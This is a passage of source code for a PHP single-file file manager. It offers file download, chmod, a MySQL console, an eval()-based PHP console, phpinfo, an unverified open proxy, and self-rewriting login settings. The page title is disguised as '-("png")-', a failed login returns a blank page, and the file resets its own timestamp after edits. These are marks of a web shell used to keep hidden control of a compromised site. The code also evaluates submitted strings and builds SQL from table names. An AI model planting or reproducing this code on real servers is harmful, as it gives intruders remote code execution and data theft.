	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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